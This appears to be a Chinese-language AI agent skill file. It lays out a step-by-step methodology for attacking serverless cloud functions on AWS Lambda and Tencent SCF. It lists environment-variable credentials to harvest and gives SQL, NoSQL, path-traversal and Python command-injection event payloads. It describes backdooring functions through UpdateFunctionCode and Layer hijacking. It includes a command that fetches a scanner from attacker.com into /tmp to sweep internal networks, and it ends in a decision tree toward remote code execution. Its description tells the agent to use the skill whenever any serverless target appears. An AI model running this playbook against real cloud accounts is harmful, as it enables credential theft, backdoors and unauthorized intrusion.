serverless-attack

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name: serverless-attack
description: "Serverless/云函数安全测试与攻击。当目标涉及 AWS Lambda、腾讯云 SCF、阿里云 FC、Azure Functions 等 Serverless 服务时使用。当发现 API Gateway 后端是 Lambda/SCF 触发、通过 cloud-aksk-exploit 获取到函数操作权限、或需要分析云函数代码中的漏洞时使用。覆盖事件注入（HTTP/OSS/消息队列触发器参数篡改）、环境变量泄露（硬编码凭据提取）、函数代码注入/覆盖（UpdateFunctionCode）、Runtime 利用（/tmp 写入/Layer 劫持/依赖投毒）、临时凭据滥用。发现任何 Lambda/SCF/云函数、API Gateway、或 Serverless 架构时都应使用此 skill"
metadata:
  tags: "serverless,lambda,scf,云函数,function,api gateway,事件注入,环境变量,runtime,layer,触发器,临时凭据"
  category: "cloud"
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# Serverless/云函数攻击方法论

Serverless 函数运行在短暂的容器中，传统的持久化和横向移动思路不适用。攻击重点是：事件注入（输入篡改）、凭据提取（环境变量/临时 Token）、代码注入（修改函数代码）。

## 按云平台查阅详细命令

识别云平台后，加载对应 reference 获取完整命令：

- AWS Lambda → [references/lambda-techniques.md](references/lambda-techniques.md)
- 腾讯云 SCF → [references/scf-techniques.md](references/scf-techniques.md)

## Phase 0: 通用信息收集

不论哪个云平台，第一步都是枚举函数列表、获取函数详情（代码 + 配置 + 环境变量）。具体命令参见对应 reference。

## Phase 1: 环境变量提取（最快获取凭据的方式）

开发者经常在环境变量中硬编码数据库密码、API Key、其他服务凭据。常见敏感变量名：

- `DB_PASSWORD`, `DATABASE_URL`, `MONGODB_URI`
- `AWS_ACCESS_KEY_ID`（嵌套凭据）、`TENCENTCLOUD_SECRET_ID`
- `SECRET_KEY`, `JWT_SECRET`, `API_KEY`
- `REDIS_URL`, `SMTP_PASSWORD`

## Phase 2: 函数代码分析

```python
# 搜索硬编码凭据
grep -rn "password\|secret\|key\|token\|credential" lambda_code/

# 搜索不安全的输入处理
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/

# 搜索 SQL 拼接
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/

# 检查依赖版本
cat lambda_code/requirements.txt  # Python
cat lambda_code/package.json      # Node.js
```

## Phase 3: 事件注入

Serverless 函数通过"事件"触发，事件数据就是输入——如果函数没有正确校验事件数据，就可以注入。

### 3.1 API Gateway → Lambda/SCF 注入

API Gateway 将 HTTP 请求封装为事件传给函数：

```json
{
  "httpMethod": "POST",
  "path": "/api/query",
  "queryStringParameters": {"id": "1' OR '1'='1"},
  "body": "{\"username\": {\"$ne\": \"\"}}",
  "headers": {"X-Forwarded-For": "127.0.0.1"}
}
```

常见注入点：
- `queryStringParameters` → SQL/NoSQL 注入
- `body` → 反序列化/命令注入
- `headers` → SSRF/日志注入
- `pathParameters` → 路径遍历

### 3.2 OSS/COS/S3 触发器注入

对象存储触发器将文件信息作为事件：

```json
{
  "Records": [{
    "s3": {
      "bucket": {"name": "my-bucket"},
      "object": {"key": "../../../etc/passwd"}
    }
  }]
}
```

如果函数用 `event['key']` 拼接文件路径做 `open()` → 路径遍历。
如果函数处理上传的文件内容（如 XML/图片/CSV）→ XXE/SSRF/命令注入。

### 3.3 消息队列触发器

SQS/CMQ/Kafka 消息作为事件传入：
```json
{"Records": [{"body": "'; import os; os.system('id'); '"}]}
```

## Phase 4: 代码注入/覆盖

需要 UpdateFunctionCode 权限。具体命令参见对应云平台 reference。

核心思路：用恶意代码替换函数，让函数既执行原始功能又植入后门（如接受 cmd 参数执行命令）。

### Layer 劫持（AWS Lambda 特有）

Lambda Layers 是共享的代码库，修改 Layer 可以影响所有使用它的函数。详见 [references/lambda-techniques.md](references/lambda-techniques.md)。

## Phase 5: Runtime 环境利用

### /tmp 目录利用

Serverless 函数的 /tmp 是唯一可写目录，且在"热启动"时会保留：

```bash
# 写入工具到 /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan

# 如果函数有内网访问权限（VPC 中），可以用 /tmp 的工具做内网扫描
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379
```

## 决策树

```
发现 Serverless 函数
├── 识别云平台 → 加载对应 reference（lambda-techniques / scf-techniques）
├── 有 GetFunction 权限 → 下载代码 → 审计 → 找漏洞/凭据
├── 有 GetFunctionConfiguration 权限 → 读环境变量 → 提取凭据
├── 有 UpdateFunctionCode 权限 → 注入后门 → RCE
├── 有 Invoke 权限 → 构造恶意事件 → 事件注入
├── 只有 API Gateway 入口 → HTTP 请求层注入（SQLi/NoSQL/SSRF）
└── 无直接权限 → 通过 S3/COS 触发器上传恶意文件
```